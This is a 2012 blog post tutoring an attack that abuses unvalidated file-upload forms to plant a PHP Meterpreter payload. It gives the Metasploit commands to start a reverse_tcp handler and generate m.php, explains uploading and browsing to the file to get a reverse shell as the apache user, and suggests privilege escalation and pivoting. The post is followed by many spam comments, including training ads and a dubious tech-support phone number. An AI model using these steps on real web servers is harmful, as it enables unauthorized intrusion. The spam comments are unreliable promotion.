Tuesday, April 3, 2012

Deploying payload via PHP

Another fun way to deploy our meterpreter payload is with php.

Many webservers allow file uploads for things like image files to be displayed on the page. If the upload form neglects to verify the filetype this can allow us to upload a php file including our payload, and then trick the server into executing it. Alternatively, this payload could be injected into a forum post or some such thing.

First thing we do, is start up a meterpreter handler using the PHP method, like this:
/opt/metasploit-4.2.0/app/msfcli multi/handler payload=php/meterpreter/reverse_tcp lhost="LISTENER IP" lport="PORT" ExitOnSession=false J


Now we create our meterpreter php payload file. This command will create the php payload, and save it as m.php
/opt/metasploit-4.2.0/app/msfpayload php/meterpreter/reverse_tcp LHOST="LISTENER IP" LPORT="PORT" R > ~/m.php



Now we simply upload our php script like we would with an image file.



Then we navigate a browser to the location that server usually hosts images, and click on the file we just uploaded.


The server runs our m.php, causing the server to connect to our meterpreter handler on the specified port, and give us a shell on the target server. In this case, the process is running as the apache user.




We can now attempt to escalate privileges to gain root/SYSTEM, or we can just look around to see what all we've actually gained access to. Chances are that we have database or other files on this system that apache can access, or perhaps we'll just want to pivot through this target to attack something more sensitive behind the firewall that's not directly accessible from the outside world.

68 comments:

  1. hi how can i uploads my php file please

    ReplyDelete
  2. Pretty interesting post! Thanks it was interesting. into a link

    ReplyDelete
  3. The fellowship application personal statement is the best way to tell them what you are capable of, and our professionals know how to write you something that will get results.

    ReplyDelete
  4. Collections from the design labels such as Cheap TRX and other beauty are released after every six months.
    With every new launch, a new trx pas cher technology is developed.
    This had led to making trx pas cher remain competitive in the International market.
    The entire penny board hot sale packaging process is paid into detail to enhance the collections quality and appearance.
    Now everyone can own high-end designer Cheap TRX For Sale.
    cheap trx being one of the largest and most prominent fashion company in the world, it has an obligation of beating the standards set by others.
    The fashion world, with a higher concentration on trx france, needs to provide the best packaging services that the modern world has ever seen.
    cheap trx plays a major role in creating a brand name that fashion lovers want to identify with.

    ReplyDelete
  5. BlueHost is ultimately the best hosting provider for any hosting services you might require.

    ReplyDelete
  6. Thanks for this post. I found this very useful. Kanhasoft is a leading CodeIgniter Web Development Company India providing offshore services to foreign countries like USA, UK, Netherland, South Africa, Japan, Denmark, Canada and many more. Visit our site to know more about us.

    ReplyDelete
  7. Your very own commitment to getting the message throughout came to be rather powerful and have consistently enabled employees just like me to arrive at their desired goals.
    Java training in Chennai

    Java training in Bangalore

    ReplyDelete
  8. I appreciate your efforts because it conveys the message of what you are trying to say. It's a great skill to make even the person who doesn't know about the subject could able to understand the subject . Your blogs are understandable and also elaborately described. I hope to read more and more interesting articles from your blog. All the best.
    Devops Training courses
    Devops Training in Bangalore
    Best Devops Training in pune
    Microsoft azure training in Bangalore
    Power bi training in Chennai

    ReplyDelete
  9. I read this post two times, I like it so much, please try to keep posting & Let me introduce other material that may be good for our community.
    Best Devops online Training
    Online DevOps Certification Course - Gangboard
    Best Devops Training institute in Chennai

    ReplyDelete
  10. I appreciate that you produced this wonderful article to help us get more knowledge about this topic.
    I know, it is not an easy task to write such a big article in one day, I've tried that and I've failed. But, here you are, trying the big task and finishing it off and getting good comments and ratings. That is one hell of a job done!


    Selenium training in bangalore
    Selenium training in Chennai
    Selenium training in Bangalore
    Selenium training in Pune
    Selenium Online training

    ReplyDelete
  11. After reading this web site I am very satisfied simply because this site is providing comprehensive knowledge for you to audience.
    Thank you to the perform as well as discuss anything incredibly important in my opinion. We loose time waiting for your next article writing in addition to I beg one to get back to pay a visit to our website in



    selenium training in Bangalore
    selenium training in Marathahalli
    selenium training in Btm layout
    selenium training in Jaya nagar
    selenium training in Electronic city
    selenium training in Kalyan nagar

    ReplyDelete
  12. Awesome..You have clearly explained …Its very useful for me to know about new things..Keep on blogging..
    python Training institute in Chennai
    python Training institute in Bangalore
    python Training in Pune

    ReplyDelete
  13. Thanks for your informative article, Your post helped me to understand the future and career prospects & Keep on updating your blog with such awesome article.
    python Training institute in Chennai
    python Training institute in Bangalore
    python Training in Pune

    ReplyDelete
  14. Attend The Python Training in Bangalore From ExcelR. Practical Python Training in Bangalore Sessions With Assured Placement Support From Experienced Faculty. ExcelR Offers The Python Training in Bangalore.

    ReplyDelete
  15. This is Very very nice article. Everyone should read. Thanks for sharing. Don't miss WORLD'S BEST BikeRacingGame

    ReplyDelete
  16. pmp certification india from ExcelR Bangalore.Here we deal the topics from scratch.

    ReplyDelete
  17. Good Post! Thank you so much for sharing this pretty post, it was so good to read and useful to improve my knowledge as updated one, keep blogging.
    Python Training in Electronic City

    ReplyDelete
  18. Amazing article. Your blog helped me to improve myself in many ways thanks for sharing this kind of wonderful informative blogs in live.
    IT Institute in KK nagar | angularjs training in chennai | dot net training in chennai | Web Designing Training in Chennai

    ReplyDelete
  19. thanks for your information really good and very nice web design company in velachery

    ReplyDelete
  20. Attend The Data Analytics Courses Online From ExcelR. Practical Data Analytics Courses Online Sessions With Assured Placement Support From Experienced Faculty. ExcelR Offers The Data Analytics Courses Online.
    ExcelR Data Analytics Courses Online

    ReplyDelete
  21. Are you facing Microsoft Product and services related problems and you want to solve it permanently, than call Microsoft Helpline Number +1-844-229-3909 and get instant support

    Microsoft Helpline Number

    Microsoft Office Support Number

    Microsoft technical Support Number

    Microsoft Outlook Support Number

    Website - https://www.800-supportissue.com/

    Toll-free Number - +1-844-229-3909

    Email id - 800suportissue@gmail.com

    ReplyDelete
  22. Thanks for one marvelous posting! I enjoyed reading it; you are a great author. I will make sure to bookmark your blog and may come back someday. I want to encourage that you continue your great posts.Informatica Training in Bangalore

    ReplyDelete
  23. Thank you for your post. This is excellent information. It is amazing and wonderful to visit your site.MSBI Training in Bangalore

    ReplyDelete
  24. Awesome,Thank you so much for sharing such an awesome blog.Big Data Training in Marathahalli

    ReplyDelete
  25. Thanks for sharing this blog. This very important and informative blog.Tableau Training in Bangalore

    ReplyDelete
  26. Learned a lot of new things from your post! Good creation and HATS OFF to the creativity of your mind.Hadoop Training in Bangalore

    ReplyDelete
  27. I am happy for sharing on this blog its awesome blog I really impressed. thanks for sharing. Great efforts.

    Become an Expert In Python Training in Bangalore ! The most trusted and trending Programming Language. Learn from experienced Trainers and get the knowledge to crack a coding interview, @Softgen Infotech Located in BTM Layout.

    ReplyDelete
  28. Enjoyed reading the article above, really explains everything in detail, the article is very interesting and effective. Thank you and good luck…

    Start your journey with SAP S4 HANA Simple Logistics Training and get hands-on Experience with 100% Placement assistance from experts Trainers @Softgen Infotech Located in BTM Layout Bangalore.

    ReplyDelete
  29. I like viewing web sites which comprehend the price of delivering the excellent useful resource free of charge. I truly adored reading your posting. Thank you!
    project management courses

    ReplyDelete
  30. I can set up my new thought from this post. It gives inside and out data. A debt of gratitude is in order for this significant data for all, ExcelR PMP Certification pleasant bLog! its fascinating. much obliged to you for sharing.


    ReplyDelete
  31. PMP Certification
    Took me time to understand all of the comments, but I seriously enjoyed the write-up. It proved being really helpful to me and Im positive to all of the commenters right here! Its constantly nice when you can not only be informed, but also entertained! I am certain you had enjoyable writing this write-up.

    ReplyDelete
  32. This is my first visit to your blog! We are a team of volunteers and new initiatives in the same niche. Blog gave us useful information to work. You have done an amazing job!
    PMP Certification Training in Bangalore

    ReplyDelete
  33. This is exactly the information I'm looking for, I couldn't have asked for a simpler read with great tips like this... Thanks! ExcelR PMP Certification

    ReplyDelete
  34. Thanks for one marvelous posting! I enjoyed reading it; you are a great author. I will make sure to bookmark your blog and may come back someday. I want to encourage that you continue your great posts.
    oracle training in chennai

    oracle training institute in chennai

    oracle training in bangalore

    oracle training in hyderabad

    oracle training

    oracle online training

    hadoop training in chennai

    hadoop training in bangalore

    ReplyDelete